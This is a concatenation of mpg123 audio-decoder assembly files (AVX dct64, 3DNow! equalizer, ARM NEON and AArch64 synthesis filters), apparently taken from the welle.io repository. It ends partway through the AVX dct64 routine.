vmulps %ymm3, %ymm8, %ymm3 # bufs[63,62,61,60,59,58,57,56]
vmovaps 96(costab), %ymm8 # cos16[0,1,2,3]:cos8[0,1]:cos4[0]:-
vperm2f128 $0x00, %ymm8, %ymm8, %ymm9 # cos16[0,1,2,3,0,1,2,3]
vperm2f128 $0x20, %ymm1, %ymm0, %ymm4 # bufs[32,33,34,35,47,46,45,44]
vperm2f128 $0x31, %ymm1, %ymm0, %ymm5
vshufps $0x1b, %ymm5, %ymm5, %ymm5 # bufs[39,38,37,36,40,41,42,43]
vperm2f128 $0x20, %ymm3, %ymm2, %ymm6 # bufs[48,49,50,51,63,62,61,60]
vperm2f128 $0x31, %ymm3, %ymm2, %ymm7
vshufps $0x1b, %ymm7, %ymm7, %ymm7 # bufs[55,54,53,52,56,57,58,59]
vsubps %ymm5, %ymm4, %ymm1
vsubps %ymm7, %ymm6, %ymm3
vaddps %ymm5, %ymm4, %ymm0 # bufs[0,1,2,3,8,9,10,11]
vaddps %ymm7, %ymm6, %ymm2 # bufs[16,17,18,19,24,25,26,27]
vmulps %ymm1, %ymm9, %ymm1 # bufs[7,6,5,4,15,14,13,12]
vmulps %ymm3, %ymm9, %ymm3 # bufs[23,22,21,20,31,30,29,28]
vperm2f128 $0x11, %ymm8, %ymm8, %ymm8 # cos8[0,1]:cos4[0]:-:cos8[0,1]:cos4[0]:-
vmovddup %ymm8, %ymm9 # cos8[0,1,0,1,0,1,0,1]
vunpcklps %ymm1, %ymm0, %ymm4 # bufs[0,7,1,6,8,15,9,14]
vunpckhps %ymm1, %ymm0, %ymm5 # bufs[2,5,3,4,10,13,11,12]
vunpcklps %ymm3, %ymm2, %ymm6 # bufs[16,23,17,22,24,31,25,30]
vunpckhps %ymm3, %ymm2, %ymm7 # bufs[18,21,19,20,26,29,27,28]
vshufps $0xd8, %ymm4, %ymm4, %ymm4 # bufs[0,1,7,6,8,9,15,14]
vshufps $0x72, %ymm5, %ymm5, %ymm5 # bufs[3,2,4,5,11,10,12,13]
vshufps $0xd8, %ymm6, %ymm6, %ymm6 # bufs[16,17,23,22,24,25,31,30]
vshufps $0x72, %ymm7, %ymm7, %ymm7 # bufs[19,18,20,21,27,26,28,29]
vsubps %ymm5, %ymm4, %ymm1
vsubps %ymm7, %ymm6, %ymm3
vaddps %ymm5, %ymm4, %ymm0 # bufs[32,33,36,37,40,41,44,45]
vaddps %ymm7, %ymm6, %ymm2 # bufs[48,49,52,53,56,57,60,61]
vmulps %ymm1, %ymm9, %ymm1 # bufs[35,34,39,38,43,42,47,46]
vmulps %ymm3, %ymm9, %ymm3 # bufs[51,50,55,54,59,58,63,62]
vpermilps $0xaa, %ymm8, %ymm8 # cos4[0,0,0,0,0,0,0,0]
vshufps $0xd8, %ymm0, %ymm0, %ymm0 # bufs[32,36,33,37,40,44,41,45]
vshufps $0xd8, %ymm1, %ymm1, %ymm1 # bufs[35,39,34,38,43,47,42,46]
vshufps $0xd8, %ymm2, %ymm2, %ymm2 # bufs[48,52,49,53,56,60,57,61]
vshufps $0xd8, %ymm3, %ymm3, %ymm3 # bufs[51,55,50,54,59,63,58,62]
vunpcklps %ymm1, %ymm0, %ymm4 # bufs[32,35,36,39,40,43,44,47]
vunpckhps %ymm1, %ymm0, %ymm5 # bufs[33,34,37,38,41,42,45,46]
vunpcklps %ymm3, %ymm2, %ymm6 # bufs[48,51,52,55,56,59,60,63]
vunpckhps %ymm3, %ymm2, %ymm7 # bufs[49,50,53,54,57,58,61,62]
vsubps %ymm5, %ymm4, %ymm1
vsubps %ymm7, %ymm6, %ymm3
vaddps %ymm5, %ymm4, %ymm0 # bufs[0,2,4,6,8,10,12,14]
vaddps %ymm7, %ymm6, %ymm2 # bufs[16,18,20,22,24,26,28,30]
vmulps %ymm1, %ymm8, %ymm1 # bufs[1,3,5,7,9,11,13,15]
vmulps %ymm3, %ymm8, %ymm3 # bufs[17,19,21,23,25,27,29,31]
vxorps %ymm8, %ymm8, %ymm8
vblendps $0xaa, %ymm1, %ymm8, %ymm5
vblendps $0xaa, %ymm3, %ymm8, %ymm6
vaddps %ymm5, %ymm0, %ymm0
vaddps %ymm6, %ymm2, %ymm2
vunpcklps %ymm1, %ymm0, %ymm4 # bufs[0,1,2,3,8,9,10,11]
vunpckhps %ymm1, %ymm0, %ymm5 # bufs[4,5,6,7,12,13,14,15]
vunpcklps %ymm3, %ymm2, %ymm6 # bufs[16,17,18,19,24,25,26,27]
vunpckhps %ymm3, %ymm2, %ymm7 # bufs[20,21,22,23,28,29,30,31]
vextractf128 $0x1, %ymm4, %xmm0 # bufs[8,9,10,11]
vextractf128 $0x1, %ymm5, %xmm1 # bufs[12,13,14,15]
vextractf128 $0x1, %ymm6, %xmm2 # bufs[24,25,26,27]
vextractf128 $0x1, %ymm7, %xmm3 # bufs[28,29,30,31]
vshufps $0x1e, %xmm5, %xmm5, %xmm9 # bufs[6,7,5,4]
vshufps $0x1e, %xmm1, %xmm1, %xmm10 # bufs[14,15,13,12]
vshufps $0x1e, %xmm7, %xmm7, %xmm11 # bufs[22,23,21,20]
vshufps $0x1e, %xmm3, %xmm3, %xmm12 # bufs[30,31,29,28]
vblendps $0x7, %xmm9, %xmm8, %xmm9 # bufs[6,7,5,-]
vblendps $0x7, %xmm10, %xmm8, %xmm10 # bufs[14,15,13,-]
vblendps $0x7, %xmm11, %xmm8, %xmm11 # bufs[22,23,21,-]
vblendps $0x7, %xmm12, %xmm8, %xmm12 # bufs[30,31,29,-]
vaddps %xmm5, %xmm9, %xmm5
vaddps %xmm1, %xmm10, %xmm1
vaddps %xmm7, %xmm11, %xmm7
vaddps %xmm3, %xmm12, %xmm3
prefetcht0 1024(out0)
vshufps $0x1e, %xmm0, %xmm0, %xmm9 # bufs[10,11,9,8]
vshufps $0x1e, %xmm2, %xmm2, %xmm10 # bufs[26,27,25,24]
vaddps %xmm1, %xmm0, %xmm0
vaddps %xmm3, %xmm2, %xmm2
vblendps $0x7, %xmm9, %xmm8, %xmm9 # bufs[10,11,9,-]
vblendps $0x7, %xmm10, %xmm8, %xmm10 # bufs[26,27,25,-]
vaddps %xmm1, %xmm9, %xmm1
vaddps %xmm3, %xmm10, %xmm3
vzeroupper
prefetcht0 1024(out1)
addq $1024, out0
movq $-128, %rax
movss %xmm4, (out0)
movss %xmm0, (out0,%rax,1)
movss %xmm5, (out0,%rax,2)
movss %xmm1, -128(out0,%rax,2)
leaq (out0,%rax,4), out0
movhlps %xmm4, %xmm9
movhlps %xmm0, %xmm10
movhlps %xmm5, %xmm11
movhlps %xmm1, %xmm12
vmovss %xmm9, (out0)
vmovss %xmm10, (out0,%rax,1)
vmovss %xmm11, (out0,%rax,2)
vmovss %xmm12, -128(out0,%rax,2)
leaq (out0,%rax,4), out0
negq %rax
shufps $0xb1, %xmm4, %xmm4
shufps $0xb1, %xmm0, %xmm0
shufps $0xb1, %xmm5, %xmm5
shufps $0xb1, %xmm1, %xmm1
movss %xmm4, (out0)
movss %xmm4, (out1)
leaq (out1,%rax,1), out1
movss %xmm0, (out1)
movss %xmm5, (out1,%rax,1)
movss %xmm1, (out1,%rax,2)
leaq (out1,%rax,4), out1
movhlps %xmm4, %xmm4
movhlps %xmm0, %xmm0
movhlps %xmm5, %xmm5
movhlps %xmm1, %xmm1
movss %xmm4, -128(out1)
movss %xmm0, (out1)
movss %xmm5, (out1,%rax,1)
movss %xmm1, (out1,%rax,2)
leaq -64(out0,%rax,8), out0
negq %rax
vshufps $0x1e, %xmm6, %xmm6, %xmm0
vblendps $0x7, %xmm0, %xmm8, %xmm0
addps %xmm2, %xmm6
addps %xmm7, %xmm2
addps %xmm3, %xmm7
addps %xmm0, %xmm3
movss %xmm6, (out0)
movss %xmm2, (out0,%rax,1)
movss %xmm7, (out0,%rax,2)
movss %xmm3, -128(out0,%rax,2)
leaq (out0,%rax,4), out0
movhlps %xmm6, %xmm0
movhlps %xmm2, %xmm1
movhlps %xmm7, %xmm4
movhlps %xmm3, %xmm5
movss %xmm0, (out0)
movss %xmm1, (out0,%rax,1)
movss %xmm4, (out0,%rax,2)
movss %xmm5, -128(out0,%rax,2)
leaq 64(out1,%rax,4), out1
negq %rax
shufps $0xb1, %xmm6, %xmm6
shufps $0xb1, %xmm2, %xmm2
shufps $0xb1, %xmm7, %xmm7
shufps $0xb1, %xmm3, %xmm3
movss %xmm6, -128(out1)
movss %xmm2, (out1)
movss %xmm7, (out1,%rax,1)
movss %xmm3, (out1,%rax,2)
leaq (out1,%rax,4), out1
movhlps %xmm6, %xmm6
movhlps %xmm2, %xmm2
movhlps %xmm7, %xmm7
movhlps %xmm3, %xmm3
movss %xmm6, -128(out1)
movss %xmm2, (out1)
movss %xmm7, (out1,%rax,1)
movss %xmm3, (out1,%rax,2)
#ifdef IS_MSABI
pop %rsi
pop %rdi
movaps (%rsp), %xmm6
movaps 16(%rsp), %xmm7
movaps 32(%rsp), %xmm8
movaps 48(%rsp), %xmm9
movaps 64(%rsp), %xmm10
movaps 80(%rsp), %xmm11
movaps 96(%rsp), %xmm12
mov %rbp, %rsp
pop %rbp
#endif
ret
NONEXEC_STACK
|
AlbrechtL/welle.io | 1,371 | src/libs/mpg123/equalizer_3dnow.S | /*
equalizer_3dnow: 3DNow! optimized do_equalizer()
copyright ?-2006 by the mpg123 project - free software under the terms of the LGPL 2.1
see COPYING and AUTHORS files in distribution or http://mpg123.org
initially written by KIMURA Takuhiro
*/
#include "mangle.h"
.text
ALIGN4
.globl ASM_NAME(do_equalizer_3dnow)
/* .type ASM_NAME(do_equalizer_3dnow),@function */
/* void do_equalizer(real *bandPtr,int channel, real equalizer[2][32]); */
ASM_NAME(do_equalizer_3dnow):
pushl %esi
pushl %ebx
/* bandPtr */
movl 12(%esp),%ebx
/* channel */
movl 16(%esp),%ecx
xorl %edx,%edx
/* equalizer */
movl 20(%esp),%esi
sall $7,%ecx
ALIGN4
.L9:
movq (%ebx,%edx),%mm0
pfmul (%esi,%ecx),%mm0
movq 8(%ebx,%edx),%mm1
pfmul 8(%esi,%ecx),%mm1
movq %mm0,(%ebx,%edx)
movq 16(%ebx,%edx),%mm0
pfmul 16(%esi,%ecx),%mm0
movq %mm1,8(%ebx,%edx)
movq 24(%ebx,%edx),%mm1
pfmul 24(%esi,%ecx),%mm1
movq %mm0,16(%ebx,%edx)
movq 32(%ebx,%edx),%mm0
pfmul 32(%esi,%ecx),%mm0
movq %mm1,24(%ebx,%edx)
movq 40(%ebx,%edx),%mm1
pfmul 40(%esi,%ecx),%mm1
movq %mm0,32(%ebx,%edx)
movq 48(%ebx,%edx),%mm0
pfmul 48(%esi,%ecx),%mm0
movq %mm1,40(%ebx,%edx)
movq 56(%ebx,%edx),%mm1
pfmul 56(%esi,%ecx),%mm1
movq %mm0,48(%ebx,%edx)
movq %mm1,56(%ebx,%edx)
addl $64,%edx
addl $32,%ecx
cmpl $124,%edx
jle .L9
ALIGN4
popl %ebx
popl %esi
ret
NONEXEC_STACK
|
AlbrechtL/welle.io | 2,821 | src/libs/mpg123/synth_neon.S | /*
synth_neon: ARM NEON optimized synth
copyright 1995-2010 by the mpg123 project - free software under the terms of the LGPL 2.1
see COPYING and AUTHORS files in distribution or http://mpg123.org
initially written by Taihei Monma
*/
#include "mangle.h"
#define WINDOW r0
#define B0 r1
#define SAMPLES r2
/*
int synth_1to1_neon_asm(short *window, short *b0, short *samples, int bo1);
return value: number of clipped samples
*/
#ifndef _M_ARM
.code 32
#endif
#ifndef __APPLE__
.fpu neon
#endif
.text
GLOBAL_SYMBOL ASM_NAME(synth_1to1_neon_asm)
#ifdef __ELF__
.type ASM_NAME(synth_1to1_neon_asm), %function
#endif
ALIGN4
ASM_NAME(synth_1to1_neon_asm):
push {r4-r5, lr}
vpush {q4-q7}
add WINDOW, WINDOW, #32
sub WINDOW, WINDOW, r3, lsl #1
mov r3, #4
mov r4, #64
1:
vld1.16 {d0-d3}, [WINDOW], r4
vld1.16 {d4-d7}, [B0, :128]!
vld1.16 {d8-d11}, [WINDOW], r4
vswp d1, d4
vld1.16 {d12-d15}, [B0, :128]!
vld1.16 {d16-d19}, [WINDOW], r4
vld1.16 {d20-d23}, [B0, :128]!
vswp d9, d12
vld1.16 {d24-d27}, [WINDOW], r4
vld1.16 {d28-d31}, [B0, :128]!
vswp d17, d20
vswp d25, d28
vmull.s16 q0, d0, d1
vmull.s16 q4, d8, d9
vmull.s16 q8, d16, d17
vmull.s16 q12, d24, d25
vmlal.s16 q0, d4, d5
vmlal.s16 q4, d12, d13
vmlal.s16 q8, d20, d21
vmlal.s16 q12, d28, d29
vmlal.s16 q0, d2, d6
vmlal.s16 q4, d10, d14
vmlal.s16 q8, d18, d22
vmlal.s16 q12, d26, d30
vmlal.s16 q0, d3, d7
vmlal.s16 q4, d11, d15
vmlal.s16 q8, d19, d23
vmlal.s16 q12, d27, d31
vpadd.i32 d0, d0, d1
vpadd.i32 d8, d8, d9
vpadd.i32 d16, d16, d17
vpadd.i32 d24, d24, d25
vpadd.i32 d0, d0, d8
vpadd.i32 d1, d16, d24
vld2.16 {d2,d3}, [SAMPLES]
vqrshrn.s32 d1, q0, #13
vst2.16 {d1,d3}, [SAMPLES]!
subs r3, r3, #1
bne 1b
mov r3, #4
mov r5, #-32
1:
vld1.16 {d0-d3}, [WINDOW], r4
vld1.16 {d4-d7}, [B0, :128], r5
vld1.16 {d8-d11}, [WINDOW], r4
vswp d1, d4
vld1.16 {d12-d15}, [B0, :128], r5
vld1.16 {d16-d19}, [WINDOW], r4
vld1.16 {d20-d23}, [B0, :128], r5
vswp d9, d12
vld1.16 {d24-d27}, [WINDOW], r4
vld1.16 {d28-d31}, [B0, :128], r5
vswp d17, d20
vswp d25, d28
vmull.s16 q0, d0, d1
vmull.s16 q4, d8, d9
vmull.s16 q8, d16, d17
vmull.s16 q12, d24, d25
vmlal.s16 q0, d4, d5
vmlal.s16 q4, d12, d13
vmlal.s16 q8, d20, d21
vmlal.s16 q12, d28, d29
vmlal.s16 q0, d2, d6
vmlal.s16 q4, d10, d14
vmlal.s16 q8, d18, d22
vmlal.s16 q12, d26, d30
vmlal.s16 q0, d3, d7
vmlal.s16 q4, d11, d15
vmlal.s16 q8, d19, d23
vmlal.s16 q12, d27, d31
vpadd.i32 d0, d0, d1
vpadd.i32 d8, d8, d9
vpadd.i32 d16, d16, d17
vpadd.i32 d24, d24, d25
vpadd.i32 d0, d0, d8
vpadd.i32 d1, d16, d24
vld2.16 {d2,d3}, [SAMPLES]
vqrshrn.s32 d1, q0, #13
vst2.16 {d1,d3}, [SAMPLES]!
subs r3, r3, #1
bne 1b
mov r0, #0
vpop {q4-q7}
pop {r4-r5, pc}
NONEXEC_STACK
|
AlbrechtL/welle.io | 2,970 | src/libs/mpg123/synth_neon64.S | /*
synth_neon64: NEON optimized synth for AArch64
copyright 1995-2014 by the mpg123 project - free software under the terms of the LGPL 2.1
see COPYING and AUTHORS files in distribution or http://mpg123.org
initially written by Taihei Monma
*/
#include "mangle.h"
#ifndef __APPLE__
.section .rodata
#else
.data
#endif
ALIGN16
maxmin_s16:
.word 32767
.word -32768
.text
ALIGN4
.globl ASM_NAME(synth_1to1_neon64_asm)
#ifdef __ELF__
.type ASM_NAME(synth_1to1_neon64_asm), %function
#endif
ASM_NAME(synth_1to1_neon64_asm):
add x0, x0, #32
sub x0, x0, x3, lsl #1
eor v31.16b, v31.16b, v31.16b
adrp x5, AARCH64_PCREL_HI(maxmin_s16)
add x5, x5, AARCH64_PCREL_LO(maxmin_s16)
ld2r {v28.4s,v29.4s}, [x5]
mov w4, #4
mov x5, #64
1:
ld1 {v0.8h,v1.8h}, [x0], x5
ld1 {v2.8h,v3.8h}, [x0], x5
ld1 {v4.8h,v5.8h}, [x0], x5
ld1 {v6.8h,v7.8h}, [x0], x5
ld1 {v16.8h,v17.8h,v18.8h,v19.8h}, [x1], #64
ld1 {v20.8h,v21.8h,v22.8h,v23.8h}, [x1], #64
smull v24.4s, v0.4h, v16.4h
smull v25.4s, v2.4h, v18.4h
smull v26.4s, v4.4h, v20.4h
smull v27.4s, v6.4h, v22.4h
smlal2 v24.4s, v0.8h, v16.8h
smlal2 v25.4s, v2.8h, v18.8h
smlal2 v26.4s, v4.8h, v20.8h
smlal2 v27.4s, v6.8h, v22.8h
smlal v24.4s, v1.4h, v17.4h
smlal v25.4s, v3.4h, v19.4h
smlal v26.4s, v5.4h, v21.4h
smlal v27.4s, v7.4h, v23.4h
smlal2 v24.4s, v1.8h, v17.8h
smlal2 v25.4s, v3.8h, v19.8h
smlal2 v26.4s, v5.8h, v21.8h
smlal2 v27.4s, v7.8h, v23.8h
addp v0.4s, v24.4s, v25.4s
addp v1.4s, v26.4s, v27.4s
addp v0.4s, v0.4s, v1.4s
ld2 {v4.4h,v5.4h}, [x2]
sqrshrn v4.4h, v0.4s, #13
cmgt v2.4s, v0.4s, v28.4s
cmgt v3.4s, v29.4s, v0.4s
add v2.4s, v2.4s, v3.4s
add v31.4s, v31.4s, v2.4s
st2 {v4.4h,v5.4h}, [x2], #16
subs w4, w4, #1
b.ne 1b
mov w4, #4
mov x6, #-32
2:
ld1 {v0.8h,v1.8h}, [x0], x5
ld1 {v2.8h,v3.8h}, [x0], x5
ld1 {v4.8h,v5.8h}, [x0], x5
ld1 {v6.8h,v7.8h}, [x0], x5
ld1 {v16.8h,v17.8h}, [x1], x6
ld1 {v18.8h,v19.8h}, [x1], x6
ld1 {v20.8h,v21.8h}, [x1], x6
ld1 {v22.8h,v23.8h}, [x1], x6
smull v24.4s, v0.4h, v16.4h
smull v25.4s, v2.4h, v18.4h
smull v26.4s, v4.4h, v20.4h
smull v27.4s, v6.4h, v22.4h
smlal2 v24.4s, v0.8h, v16.8h
smlal2 v25.4s, v2.8h, v18.8h
smlal2 v26.4s, v4.8h, v20.8h
smlal2 v27.4s, v6.8h, v22.8h
smlal v24.4s, v1.4h, v17.4h
smlal v25.4s, v3.4h, v19.4h
smlal v26.4s, v5.4h, v21.4h
smlal v27.4s, v7.4h, v23.4h
smlal2 v24.4s, v1.8h, v17.8h
smlal2 v25.4s, v3.8h, v19.8h
smlal2 v26.4s, v5.8h, v21.8h
smlal2 v27.4s, v7.8h, v23.8h
addp v0.4s, v24.4s, v25.4s
addp v1.4s, v26.4s, v27.4s
addp v0.4s, v0.4s, v1.4s
ld2 {v4.4h,v5.4h}, [x2]
sqrshrn v4.4h, v0.4s, #13
cmgt v2.4s, v0.4s, v28.4s
cmgt v3.4s, v29.4s, v0.4s
add v2.4s, v2.4s, v3.4s
add v31.4s, v31.4s, v2.4s
st2 {v4.4h,v5.4h}, [x2], #16
subs w4, w4, #1
b.ne 2b
AARCH64_DUP_2D(v0, v31, 1)
add v0.4s, v0.4s, v31.4s
AARCH64_DUP_4S(v1, v0, 1)
add v0.4s, v0.4s, v1.4s
umov w0, v0.s[0]
neg w0, w0
ret
NONEXEC_STACK
|
AlbrechtL/welle.io | 9,519 | src/libs/mpg123/dct64_avx.S | /*
dct36_sse: AVX optimized dct64 for x86-64
copyright 1995-2013 by the mpg123 project - free software under the terms of the LGPL 2.1
see COPYING and AUTHORS files in distribution or http://mpg123.org
initially written by Taihei Monma
*/
#include "mangle.h"
#define samples %rdx
#define costab %rcx
#define out0 %rdi
#define out1 %rsi
/*
void dct64_avx(short *out0, short *out1, real *samples);
*/
#ifndef __APPLE__
.section .rodata
#else
.data
#endif
ALIGN32
costab_avx:
.long 1056974725
.long 1057056395
.long 1057223771
.long 1057485416
.long 1057855544
.long 1058356026
.long 1059019886
.long 1059897405
.long 1061067246
.long 1062657950
.long 1064892987
.long 1066774581
.long 1069414683
.long 1073984175
.long 1079645762
.long 1092815430
.long 1057005197
.long 1057342072
.long 1058087743
.long 1059427869
.long 1061799040
.long 1065862217
.long 1071413542
.long 1084439708
.long 1057128951
.long 1058664893
.long 1063675095
.long 1076102863
.long 1057655764
.long 1067924853
.long 1060439283
.long 0
.text
ALIGN16
.globl ASM_NAME(dct64_avx)
ASM_NAME(dct64_avx):
#ifdef IS_MSABI
push %rbp
mov %rsp, %rbp
sub $112, %rsp
movaps %xmm6, (%rsp)
movaps %xmm7, 16(%rsp)
movaps %xmm8, 32(%rsp)
movaps %xmm9, 48(%rsp)
movaps %xmm10, 64(%rsp)
movaps %xmm11, 80(%rsp)
movaps %xmm12, 96(%rsp)
push %rdi
push %rsi
mov %rcx, %rdi
mov %rdx, %rsi
mov %r8, %rdx
#endif
leaq costab_avx(%rip), costab
vmovups (samples), %ymm0 # input[0,1,2,3,4,5,6,7]
vmovups 32(samples), %ymm1 # input[8,9,10,11,12,13,14,15]
vperm2f128 $0x23, 64(samples), %ymm2, %ymm2
vperm2f128 $0x23, 96(samples), %ymm3, %ymm3
vshufps $0x1b, %ymm2, %ymm2, %ymm2 # input[23,22,21,20,19,18,17,16]
vshufps $0x1b, %ymm3, %ymm3, %ymm3 # input[31,30,29,28,27,26,25,24]
vsubps %ymm2, %ymm1, %ymm6
vsubps %ymm3, %ymm0, %ymm7
vaddps %ymm0, %ymm3, %ymm4 # bufs[0,1,2,3,4,5,6,7]
vaddps %ymm1, %ymm2, %ymm5 # bufs[8,9,10,11,12,13,14,15]
vmulps (costab), %ymm7, %ymm7 # bufs[31,30,29,28,27,26,25,24] cos64[0,1,2,3,4,5,6,7]
vmulps 32(costab), %ymm6, %ymm6 # bufs[23,22,21,20,19,18,17,16] cos64[8,9,10,11,12,13,14,15]
vmovaps 64(costab), %ymm8 # cos32[0,1,2,3,4,5,6,7]
vshufps $0x1b, %ymm5, %ymm5, %ymm5
vshufps $0x1b, %ymm6, %ymm6, %ymm6
vperm2f128 $0x01, %ymm5, %ymm5, %ymm5 # bufs[15,14,13,12,11,10,9,8]
vperm2f128 $0x01, %ymm6, %ymm6, %ymm6 # bufs[16,17,18,19,20,21,22,23]
vsubps %ymm5, %ymm4, %ymm1
vsubps %ymm6, %ymm7, %ymm3
vaddps %ymm5, %ymm4, %ymm0 # bufs[32,33,34,35,36,37,38,39]
vaddps %ymm6, %ymm7, %ymm2 # bufs[48,49,50,51,52,53,54,55]
vmulps %ymm1, %ymm8, %ymm1 # bufs[47,46,45,44,43,42,41,40]
vmulps %ymm3, %ymm8, %ymm3 # bufs[63,62,61,60,59,58,57,56]
vmovaps 96(costab), %ymm8 # cos16[0,1,2,3]:cos8[0,1]:cos4[0]:-
vperm2f128 $0x00, %ymm8, %ymm8, %ymm9 # cos16[0,1,2,3,0,1,2,3]
vperm2f128 $0x20, %ymm1, %ymm0, %ymm4 # bufs[32,33,34,35,47,46,45,44]
vperm2f128 $0x31, %ymm1, %ymm0, %ymm5
vshufps $0x1b, %ymm5, %ymm5, %ymm5 # bufs[39,38,37,36,40,41,42,43]
vperm2f128 $0x20, %ymm3, %ymm2, %ymm6 # bufs[48,49,50,51,63,62,61,60]
vperm2f128 $0x31, %ymm3, %ymm2, %ymm7
vshufps $0x1b, %ymm7, %ymm7, %ymm7 # bufs[55,54,53,52,56,57,58,59]
vsubps %ymm5, %ymm4, %ymm1
vsubps %ymm7, %ymm6, %ymm3
vaddps %ymm5, %ymm4, %ymm0 # bufs[0,1,2,3,8,9,10,11]
vaddps %ymm7, %ymm6, %ymm2 # bufs[16,17,18,19,24,25,26,27]
vmulps %ymm1, %ymm9, %ymm1 # bufs[7,6,5,4,15,14,13,12]
vmulps %ymm3, %ymm9, %ymm3 # bufs[23,22,21,20,31,30,29,28]
vperm2f128 $0x11, %ymm8, %ymm8, %ymm8 # cos8[0,1]:cos4[0]:-:cos8[0,1]:cos4[0]:-
vmovddup %ymm8, %ymm9 # cos8[0,1,0,1,0,1,0,1]
vunpcklps %ymm1, %ymm0, %ymm4 # bufs[0,7,1,6,8,15,9,14]
vunpckhps %ymm1, %ymm0, %ymm5 # bufs[2,5,3,4,10,13,11,12]
vunpcklps %ymm3, %ymm2, %ymm6 # bufs[16,23,17,22,24,31,25,30]
vunpckhps %ymm3, %ymm2, %ymm7 # bufs[18,21,19,20,26,29,27,28]
vshufps $0xd8, %ymm4, %ymm4, %ymm4 # bufs[0,1,7,6,8,9,15,14]
vshufps $0x72, %ymm5, %ymm5, %ymm5 # bufs[3,2,4,5,11,10,12,13]
vshufps $0xd8, %ymm6, %ymm6, %ymm6 # bufs[16,17,23,22,24,25,31,30]
vshufps $0x72, %ymm7, %ymm7, %ymm7 # bufs[19,18,20,21,27,26,28,29]
vsubps %ymm5, %ymm4, %ymm1
vsubps %ymm7, %ymm6, %ymm3
vaddps %ymm5, %ymm4, %ymm0 # bufs[32,33,36,37,40,41,44,45]
vaddps %ymm7, %ymm6, %ymm2 # bufs[48,49,52,53,56,57,60,61]
vmulps %ymm1, %ymm9, %ymm1 # bufs[35,34,39,38,43,42,47,46]
vmulps %ymm3, %ymm9, %ymm3 # bufs[51,50,55,54,59,58,63,62]
vpermilps $0xaa, %ymm8, %ymm8 # cos4[0,0,0,0,0,0,0,0]
vshufps $0xd8, %ymm0, %ymm0, %ymm0 # bufs[32,36,33,37,40,44,41,45]
vshufps $0xd8, %ymm1, %ymm1, %ymm1 # bufs[35,39,34,38,43,47,42,46]
vshufps $0xd8, %ymm2, %ymm2, %ymm2 # bufs[48,52,49,53,56,60,57,61]
vshufps $0xd8, %ymm3, %ymm3, %ymm3 # bufs[51,55,50,54,59,63,58,62]
vunpcklps %ymm1, %ymm0, %ymm4 # bufs[32,35,36,39,40,43,44,47]
vunpckhps %ymm1, %ymm0, %ymm5 # bufs[33,34,37,38,41,42,45,46]
vunpcklps %ymm3, %ymm2, %ymm6 # bufs[48,51,52,55,56,59,60,63]
vunpckhps %ymm3, %ymm2, %ymm7 # bufs[49,50,53,54,57,58,61,62]
vsubps %ymm5, %ymm4, %ymm1
vsubps %ymm7, %ymm6, %ymm3
vaddps %ymm5, %ymm4, %ymm0 # bufs[0,2,4,6,8,10,12,14]
vaddps %ymm7, %ymm6, %ymm2 # bufs[16,18,20,22,24,26,28,30]
vmulps %ymm1, %ymm8, %ymm1 # bufs[1,3,5,7,9,11,13,15]
vmulps %ymm3, %ymm8, %ymm3 # bufs[17,19,21,23,25,27,29,31]
vxorps %ymm8, %ymm8, %ymm8
vblendps $0xaa, %ymm1, %ymm8, %ymm5
vblendps $0xaa, %ymm3, %ymm8, %ymm6
vaddps %ymm5, %ymm0, %ymm0
vaddps %ymm6, %ymm2, %ymm2
vunpcklps %ymm1, %ymm0, %ymm4 # bufs[0,1,2,3,8,9,10,11]
vunpckhps %ymm1, %ymm0, %ymm5 # bufs[4,5,6,7,12,13,14,15]
vunpcklps %ymm3, %ymm2, %ymm6 # bufs[16,17,18,19,24,25,26,27]
vunpckhps %ymm3, %ymm2, %ymm7 # bufs[20,21,22,23,28,29,30,31]
vextractf128 $0x1, %ymm4, %xmm0 # bufs[8,9,10,11]
vextractf128 $0x1, %ymm5, %xmm1 # bufs[12,13,14,15]
vextractf128 $0x1, %ymm6, %xmm2 # bufs[24,25,26,27]
vextractf128 $0x1, %ymm7, %xmm3 # bufs[28,29,30,31]
vshufps $0x1e, %xmm5, %xmm5, %xmm9 # bufs[6,7,5,4]
vshufps $0x1e, %xmm1, %xmm1, %xmm10 # bufs[14,15,13,12]
vshufps $0x1e, %xmm7, %xmm7, %xmm11 # bufs[22,23,21,20]
vshufps $0x1e, %xmm3, %xmm3, %xmm12 # bufs[30,31,29,28]
vblendps $0x7, %xmm9, %xmm8, %xmm9 # bufs[6,7,5,-]
vblendps $0x7, %xmm10, %xmm8, %xmm10 # bufs[14,15,13,-]
vblendps $0x7, %xmm11, %xmm8, %xmm11 # bufs[22,23,21,-]
vblendps $0x7, %xmm12, %xmm8, %xmm12 # bufs[30,31,29,-]
vaddps %xmm5, %xmm9, %xmm5
vaddps %xmm1, %xmm10, %xmm1
vaddps %xmm7, %xmm11, %xmm7
vaddps %xmm3, %xmm12, %xmm3
prefetcht0 512(out0)
vshufps $0x1e, %xmm0, %xmm0, %xmm9 # bufs[10,11,9,8]
vshufps $0x1e, %xmm2, %xmm2, %xmm10 # bufs[26,27,25,24]
vaddps %xmm1, %xmm0, %xmm0
vaddps %xmm3, %xmm2, %xmm2
vblendps $0x7, %xmm9, %xmm8, %xmm9 # bufs[10,11,9,-]
vblendps $0x7, %xmm10, %xmm8, %xmm10 # bufs[26,27,25,-]
vaddps %xmm1, %xmm9, %xmm1
vaddps %xmm3, %xmm10, %xmm3
vzeroupper
prefetcht0 512(out1)
cvtps2dq %xmm4, %xmm4
cvtps2dq %xmm0, %xmm0
cvtps2dq %xmm5, %xmm5
cvtps2dq %xmm1, %xmm1
packssdw %xmm5, %xmm4
packssdw %xmm1, %xmm0
movq %xmm4, %rcx
pshufd $0x4e, %xmm4, %xmm5
movq %xmm0, %rdx
pshufd $0x4e, %xmm0, %xmm1
movq %xmm5, %r8
movq %xmm1, %r9
addq $512, out0
movq $-64, %rax
movw %cx, (out0)
movw %dx, (out0,%rax,1)
movw %r8w, (out0,%rax,2)
movw %r9w, -64(out0,%rax,2)
leaq (out0,%rax,4), out0
shr $16, %rcx
shr $16, %rdx
shr $16, %r8
shr $16, %r9
movw %cx, (out0,%rax,4)
negq %rax
movw %cx, (out1)
movw %dx, (out1,%rax,1)
movw %r8w, (out1,%rax,2)
movw %r9w, 64(out1,%rax,2)
leaq (out1,%rax,4), out1
shr $16, %rcx
shr $16, %rdx
shr $16, %r8
shr $16, %r9
negq %rax
movw %cx, (out0)
movw %dx, (out0,%rax,1)
movw %r8w, (out0,%rax,2)
movw %r9w, -64(out0,%rax,2)
shr $16, %rcx
shr $16, %rdx
shr $16, %r8
shr $16, %r9
negq %rax
movw %cx, (out1)
movw %dx, (out1,%rax,1)
movw %r8w, (out1,%rax,2)
